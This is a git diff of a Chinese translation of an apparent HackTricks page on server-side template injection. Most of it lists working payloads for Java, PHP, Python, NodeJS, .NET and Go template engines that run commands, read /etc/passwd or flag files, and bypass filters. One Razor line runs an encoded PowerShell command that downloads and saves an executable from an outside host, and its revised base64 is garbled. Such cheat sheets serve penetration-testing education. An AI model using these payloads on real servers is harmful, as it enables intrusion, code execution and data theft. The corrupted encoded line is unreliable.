- **代码上下文**:通过更改输入参数来确认漏洞。例如,将`http://vulnerable-website.com/?greeting=data.username`中的`greeting`更改为查看服务器输出是否是动态的或固定的,例如`greeting=data.username}}hello`返回用户名。
|
||||
|
||||
#### 识别阶段
|
||||
|
||||
识别模板引擎涉及分析错误消息或手动测试各种特定语言的负载。导致错误的常见负载包括`${7/0}`,`{{7/0}}`和`<%= 7/0 %>`。观察服务器对数学运算的响应有助于确定具体的模板引擎。
|
||||
识别模板引擎涉及分析错误消息或手动测试各种特定语言的负载。导致错误的常见负载包括`${7/0}`,`{{7/0}}`和`<%= 7/0 %>`。观察服务器对数学运算的响应有助于确定特定的模板引擎。
|
||||
|
||||
## 工具
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
一款高效的SSTI + CSTI扫描器,利用新颖的多语言混合攻击。
|
||||
一种高效的SSTI + CSTI扫描器,利用新颖的多语言混合技术。
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
|
@ -96,7 +96,7 @@ ${class.getResource("").getPath()}
|
|||
${class.getResource("../../../../../index.htm").getContent()}
|
||||
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
|
||||
```
|
||||
**Java - 检索系统的环境变量**
|
||||
**Java - 获取系统的环境变量**
|
||||
```java
|
||||
${T(java.lang.System).getenv()}
|
||||
```
|
||||
|
@ -134,11 +134,12 @@ ${dwf.newInstance(ec,null)("id")}
|
|||
```
|
||||
**更多信息**
|
||||
|
||||
* 在[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)的FreeMarker部分
|
||||
* 请查看[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)中的FreeMarker部分。
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||||
|
||||
### Velocity (Java)
|
||||
```java
|
||||
// I think this doesn't work
|
||||
#set($str=$class.inspect("java.lang.String").type)
|
||||
#set($chr=$class.inspect("java.lang.Character").type)
|
||||
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
|
||||
|
@ -147,6 +148,17 @@ $ex.waitFor()
|
|||
#foreach($i in [1..$out.available()])
|
||||
$str.valueOf($chr.toChars($out.read()))
|
||||
#end
|
||||
|
||||
// This should work?
|
||||
#set($s="")
|
||||
#set($stringClass=$s.getClass())
|
||||
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
|
||||
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
|
||||
#set($out=$process.getInputStream())
|
||||
#set($null=$process.waitFor() )
|
||||
#foreach($i+in+[1..$out.available()])
|
||||
$out.read()
|
||||
#end
|
||||
```
|
||||
**更多信息**
|
||||
|
||||
|
@ -170,13 +182,13 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
|||
|
||||
Thymeleaf要求这些表达式放置在特定属性中。然而,对于其他模板位置,支持_expression inlining_,使用类似`[[...]]`或`[(...)]`的语法。因此,一个简单的SSTI测试有效载荷可能看起来像`[[${7*7}]]`。
|
||||
|
||||
然而,这个有效载荷能够成功的可能性通常较低。Thymeleaf的默认配置不支持动态模板生成;模板必须预定义。开发人员需要实现自己的`TemplateResolver`来从字符串中动态创建模板,这是不常见的。
|
||||
然而,这个有效载荷成功的可能性通常很低。Thymeleaf的默认配置不支持动态模板生成;模板必须是预定义的。开发人员需要实现自己的`TemplateResolver`来从字符串中创建模板,这是不常见的。
|
||||
|
||||
Thymeleaf还提供_expression preprocessing_,其中双下划线(`__...__`)内的表达式会被预处理。这个特性可以在表达式的构建中使用,正如Thymeleaf文档中所演示的:
|
||||
Thymeleaf还提供_expression preprocessing_,其中双下划线(`__...__`)内的表达式会被预处理。这个特性可以在表达式的构建中使用,正如Thymeleaf的文档中所示:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
**Thymeleaf中的漏洞示例**
|
||||
**Thymeleaf漏洞示例**
|
||||
|
||||
考虑以下代码片段,可能容易受到利用:
|
||||
```xml
|
||||
|
@ -202,7 +214,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
```
|
||||
**绕过过滤器**
|
||||
|
||||
如果`${...}`无效,可以尝试使用多个变量表达式,如`#{...}`, `*{...}`, `@{...}`或`~{...}`。
|
||||
如果`${...}`无效,请尝试使用`#{...}`、`*{...}`、`@{...}`或`~{...}`来使用多个变量表达式。
|
||||
|
||||
* 读取`/etc/passwd`
|
||||
```java
|
||||
|
@ -241,7 +253,7 @@ print(base_payload + end_payload)
|
|||
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
||||
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||||
|
||||
### Spring 视图操纵(Java)
|
||||
### Spring 视图操纵 (Java)
|
||||
```java
|
||||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||||
|
@ -256,7 +268,7 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
|||
|
||||
* `{{ someString.toUPPERCASE() }}`
|
||||
|
||||
Pebble的旧版本(<版本3.0.9):
|
||||
Pebble(Java)的旧版本(< 版本3.0.9):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
|
@ -282,7 +294,7 @@ Pebble的旧版本(<版本3.0.9):
|
|||
```
|
||||
### Jinjava (Java)
|
||||
|
||||
Jinjava是一个功能强大的Java模板引擎,支持在Java应用程序中执行服务器端模板注入(SSTI)攻击。攻击者可以利用SSTI漏洞执行恶意代码,访问敏感数据,甚至完全控制服务器。在进行渗透测试时,务必检查应用程序是否受到Jinjava模板引擎的SSTI漏洞威胁。
|
||||
Jinjava是一个功能强大的Java模板引擎,支持在Java应用程序中执行服务器端模板注入(SSTI)。攻击者可以利用SSTI漏洞执行恶意代码,访问敏感数据,甚至完全接管服务器。在进行渗透测试时,务必检查应用程序是否受到Jinjava模板注入漏洞的影响。
|
||||
```java
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
|
@ -315,7 +327,7 @@ Jinjava是一个功能强大的Java模板引擎,支持在Java应用程序中
|
|||
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
搜索"com.hubspot.content.hubl.context.TemplateContextRequest"并发现了[Github上的Jinjava项目](https://github.com/HubSpot/jinjava/).
|
||||
搜索"com.hubspot.content.hubl.context.TemplateContextRequest"并发现了[Github上的Jinjava项目](https://github.com/HubSpot/jinjava/)。
|
||||
```java
|
||||
{{request.isDebug()}}
|
||||
//output: False
|
||||
|
@ -368,11 +380,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
表达式语言(EL)是一项基本功能,有助于在JavaEE中的表示层(如网页)和应用逻辑(如托管bean)之间进行交互。它在多个JavaEE技术中被广泛使用,以简化这种通信。利用EL的关键JavaEE技术包括:
|
||||
表达式语言(EL)是一项基本功能,有助于在JavaEE中的演示层(如网页)和应用逻辑(如托管bean)之间进行交互。它在多个JavaEE技术中被广泛使用,以简化这种通信。利用EL的关键JavaEE技术包括:
|
||||
|
||||
* **JavaServer Faces (JSF)**:使用EL将JSF页面中的组件绑定到相应的后端数据和操作。
|
||||
* **JavaServer Pages (JSP)**:在JSP中使用EL来访问和操作JSP页面中的数据,使页面元素与应用数据的连接更加容易。
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**:EL与CDI集成,允许Web层和托管bean之间无缝交互,确保更一致的应用程序结构。
|
||||
* **JavaServer Pages (JSP)**:在JSP中使用EL来访问和操作JSP页面内的数据,使页面元素与应用数据的连接更加容易。
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**:EL与CDI集成,允许Web层和托管bean之间实现无缝交互,确保更一致的应用程序结构。
|
||||
|
||||
查看以下页面以了解有关**EL解释器利用**的更多信息:
|
||||
|
||||
|
@ -382,7 +394,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
|
||||
### Groovy (Java)
|
||||
|
||||
以下安全管理器绕过方法取自此[**报告**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)。
|
||||
以下安全管理器绕过方法取自于这篇[**文章**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)。
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
|
@ -409,7 +421,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。以**促进技术知识**为使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的活动之一。以**促进技术知识**为使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -477,7 +489,9 @@ array("first_name" => $user.first_name)
|
|||
|
||||
### Plates(PHP)
|
||||
|
||||
Plates是一种原生于PHP的模板引擎,灵感来自Twig。然而,与Twig不同的是,Plates在模板中利用原生PHP代码,使其对PHP开发人员更直观。
|
||||
Plates是一种原生于PHP的模板引擎,灵感来自Twig。然而,与引入新语法的Twig不同,Plates在模板中利用原生PHP代码,使其对PHP开发人员直观易懂。
|
||||
|
||||
控制器:
|
||||
```php
|
||||
// Create new Plates instance
|
||||
$templates = new League\Plates\Engine('/path/to/templates');
|
||||
|
@ -509,7 +523,7 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
|
|||
|
||||
### PHPlib 和 HTML\_Template\_PHPLIB (PHP)
|
||||
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) 与 PHPlib 相同,但移植到了 Pear。
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) 与 PHPlib 相同,但是移植到了 Pear。
|
||||
|
||||
`authors.tpl`
|
||||
```html
|
||||
|
@ -533,22 +547,7 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
## SSTI (Server-Side Template Injection)
|
||||
|
||||
### Lab Scenario
|
||||
|
||||
In this lab, you will exploit a Server-Side Template Injection vulnerability to execute arbitrary commands on the server. The application is vulnerable to SSTI in the `authors.php` page.
|
||||
|
||||
### Steps to Reproduce
|
||||
|
||||
1. Access the `authors.php` page.
|
||||
2. Identify the SSTI vulnerability.
|
||||
3. Exploit the vulnerability to execute commands.
|
||||
4. Document the steps to reproduce.
|
||||
|
||||
### Impact
|
||||
|
||||
By exploiting SSTI, an attacker can execute arbitrary code on the server, leading to potential data exfiltration, server compromise, and other serious security risks.
|
||||
`authors.php`
|
||||
```php
|
||||
<?php
|
||||
//we want to display this author list
|
||||
|
@ -597,12 +596,12 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
```
|
||||
**更多信息**
|
||||
|
||||
* 在[Jade](https://portswigger.net/research/server-side-template-injection)部分
|
||||
* 在[Jade](https://portswigger.net/research/server-side-template-injection)部分查看
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template)是一个非编译的 PHP 模板引擎,使用 XML 标记将文档分成不同部分。
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template)是一个非编译的 PHP 模板引擎,使用 XML 标签将文档分成不同部分。
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
|
@ -620,7 +619,7 @@ Hello {NAME}.<br/>
|
|||
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
路径遍历(更多信息[在这里](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/))。
|
||||
路径遍历(更多信息请参考[此处](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/))。
|
||||
```bash
|
||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||
```
|
||||
|
@ -740,7 +739,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
查看以下页面,了解有关在Python中绕过沙盒执行**任意命令**的技巧:
|
||||
查看以下页面,了解有关在Python中绕过沙盒进行**任意命令执行**的技巧:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -778,7 +777,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
* `{{7*7}} = Error`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `{{foobar}} 无`
|
||||
* `{{foobar}} Nothing`
|
||||
* `{{4*4}}[[5*5]]`
|
||||
* `{{7*'7'}} = 7777777`
|
||||
* `{{config}}`
|
||||
|
@ -824,7 +823,7 @@ home = pugjs.render(injected_page)
|
|||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||
```
|
||||
**关于如何滥用Jinja的更多细节**:
|
||||
**关于如何滥用Jinja的更多细节**:
|
||||
|
||||
{% content-ref url="jinja2-ssti.md" %}
|
||||
[jinja2-ssti.md](jinja2-ssti.md)
|
||||
|
@ -849,13 +848,13 @@ ${x}
|
|||
* `@(2+2) <= 成功`
|
||||
* `@() <= 成功`
|
||||
* `@("{{code}}") <= 成功`
|
||||
* `@ <=成功`
|
||||
* `@ <= 成功`
|
||||
* `@{} <= 错误!`
|
||||
* `@{ <= 错误!`
|
||||
* `@(1+2)`
|
||||
* `@( //C#Code )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBCAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AdABtAGUAdAA2ADQALgBlAHgAZQA==");`
|
||||
|
||||
.NET的`System.Diagnostics.Process.Start`方法可用于在服务器上启动任何进程,从而创建Webshell。您可以在[https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)找到一个易受攻击的Web应用示例。
|
||||
|
||||
|
@ -879,7 +878,7 @@ ${x}
|
|||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
即使是 Perl,它也使用类似 Ruby 中的 ERB 标记。
|
||||
即使是 Perl,它也使用类似 Ruby 中的 ERB 标签。
|
||||
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = Error`
|
||||
|
@ -891,13 +890,13 @@ ${x}
|
|||
|
||||
在 Go 的模板引擎中,可以通过特定的有效载荷来确认其使用方式:
|
||||
|
||||
- `{{ . }}`:显示数据结构输入。例如,如果传递了一个带有 `Password` 属性的对象,则 `{{ .Password }}` 可能会暴露它。
|
||||
- `{{printf "%s" "ssti" }}`:预期显示字符串 "ssti"。
|
||||
- `{{html "ssti"}}`,`{{js "ssti"}}`:这些有效载荷应返回 "ssti",而不附加 "html" 或 "js"。更多指令可以在 Go 文档中探索 [这里](https://golang.org/pkg/text/template)。
|
||||
* `{{ . }}`:显示数据结构输入。例如,如果传递了一个带有 `Password` 属性的对象,则 `{{ .Password }}` 可能会暴露它。
|
||||
* `{{printf "%s" "ssti" }}`:预期显示字符串 "ssti"。
|
||||
* `{{html "ssti"}}`,`{{js "ssti"}}`:这些有效载荷应返回 "ssti",而不附加 "html" 或 "js"。可以在 Go 文档中进一步探索更多指令 [这里](https://golang.org/pkg/text/template)。
|
||||
|
||||
**XSS 利用**
|
||||
|
||||
使用 `text/template` 包,可以通过直接插入有效载荷来简单地进行 XSS。相反,`html/template` 包对响应进行编码以防止此问题(例如,`{{"<script>alert(1)</script>"}}` 的结果是 `<script>alert(1)</script>`)。然而,在 Go 中,模板定义和调用可以绕过此编码:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
使用 `text/template` 包,可以通过直接插入有效载荷来简单地进行 XSS 攻击。相反,`html/template` 包对响应进行编码以防止此类攻击(例如,`{{"<script>alert(1)</script>"}}` 的结果是 `<script>alert(1)</script>`)。然而,在 Go 中,模板定义和调用可以绕过此编码:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet 复制代码
|
||||
|
||||
|
@ -919,7 +918,7 @@ return string(out)
|
|||
|
||||
### 更多利用
|
||||
|
||||
查看 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) 获取更多利用。您还可以在 [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) 中找到有趣的标签信息。
|
||||
查看其他[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)以获取更多利用。您还可以在[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)中找到有趣的标签信息。
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
|
@ -957,13 +956,13 @@ return string(out)
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
|
|
Loading…
Reference in a new issue